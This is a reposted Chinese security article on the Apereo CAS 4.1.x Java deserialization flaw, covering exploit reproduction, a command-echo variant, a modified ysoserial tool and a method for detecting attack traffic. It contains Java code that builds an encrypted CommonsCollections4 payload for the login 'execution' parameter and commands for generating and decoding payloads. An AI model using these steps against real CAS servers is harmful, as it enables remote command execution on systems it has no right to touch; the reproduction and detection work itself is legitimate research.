Apereo Cas 4.1.x 反序列化回显与检测

admin 2020年9月11日14:17:36评论665 views字数 2057阅读6分51秒阅读模式

更多全球网络安全资讯尽在邑安全

0x01 前言

1)某次在客户现场,被问到从Apereo Cas RCE告警的举证信息(请求响应体)判断是否为真正的攻击还是误报,对于没复现过的我一脸懵逼地打开了各大论坛找资料,看是看得懂,主要解密也得花时间调试,于是就有了这篇文章。
2)又因为大部分师傅只是提了下回显利用的点子,实际上并没有放出完整回显的exp,所以就打算整一个完整的利用来学习下回显技术。其复现过程涉及到ysoserial的改造,几经折腾最后还是改好了,刺激。
本文主要从以下角度进行分析,漏洞利用复现,回显利用,ysoserial改造,检测思路。就不展开细讲原理了,好多师傅的文章已经讲得很通透了。

0x02 漏洞利用复现

1)环境搭建可以参考文章

https://www.anquanke.com/post/id/198842

Apereo Cas 4.1.x 反序列化回显与检测

可以看到该AperoCas已经启动,使用浏览器访问,填入用户名和密码并使用burp进行抓包,repeater该数据包

Apereo Cas 4.1.x 反序列化回显与检测

2)使用工具生成利用payload
工具地址:

https://github.com/vulhub/Apereo-CAS-Attack

我这里是源码调试,就不直接编译成jar再运行了,具体使用方法请参考上面的地址

Apereo Cas 4.1.x 反序列化回显与检测

String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
EncryptedTranscoder et = new EncryptedTranscoder();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);

3)burp发包执行命令
将上面生成的字符串贴到execution处,即可执行命令,下图为弹出计算器

Apereo Cas 4.1.x 反序列化回显与检测

0x03 回显利用

回显的意义在于常常遇到站点所在系统环境不能出网(连接公网)的情况,回显会更加直接看到命令执行的返回内容。

1) 使用改造后的工具生成payload

java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonCollections4

Apereo Cas 4.1.x 反序列化回显与检测

将该payload替换至execution处,并在头部添加命令cmd:xxx

2)burp发包执行命令

Apereo Cas 4.1.x 反序列化回显与检测

0x04 检测思路

查看Apereo-CAS-Attack的代码可以看到直接调用的et.encode生成最终利用字符串,我们们翻翻看decode解码的地方(既反序列化漏洞触发点)
当然以上步骤按照常理来说,我应该从Apereo的整个流程上看才是最全最合理的,但此处为了尽快写出工具,因此直接拿这个工具现改。
encode:

Apereo Cas 4.1.x 反序列化回显与检测

Apereo Cas 4.1.x 反序列化回显与检测

decode:

Apereo Cas 4.1.x 反序列化回显与检测

从EncryptedTranscoder.encode是生成利用字符串的关键,而EncryptedTranscoder.decode则是解码执行的关键。
可以看到进行解密和解压缩之后得到的字节内容,输入对象输入流ObjectInputStream并通过readObject进行反序列化。如果我们要做检测,那就必然不需要走到readObject这一步(除非你想被上线到别人的cs,并被进行多人运动,狗头.jpg)
因此这里直接复制整个类,并对类添加一个单独的方法,将字节内容直接输出到文件当中,保存到文件中之后可以直接查看内容。由于大部分人其实都是直接使用ysoserial中的payload因此很容易直接判断该流量为攻击流量。

Apereo Cas 4.1.x 反序列化回显与检测

Apereo Cas 4.1.x 反序列化回显与检测

使用方法

java -jar  ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar decode base64stringxxxx 1.txt

若字符串中存在呢ysoserial字符则直接返回Detect ysoserial

0x05 ysoserial改造

根据其他师傅的文章进行对ysoserial进行的改造

Apereo Cas 4.1.x 反序列化回显与检测

这里添加一个ApereoCas的类里面的内容为


Apereo Cas 4.1.x 反序列化回显与检测

根据00TheWay师傅的文章提供的思路,不过最后落地的时候还是参考了l1nk3r和DreamXu师傅实现的代码,做了一个整合。

0x06 工具地址

https://github.com/MrMeizhi/ysoserial-mangguogan

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

Apereo Cas 4.1.x 反序列化回显与检测

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 




  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月11日14:17:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apereo Cas 4.1.x 反序列化回显与检测https://cn-sec.com/archives/128991.html

发表评论

匿名网友 填写信息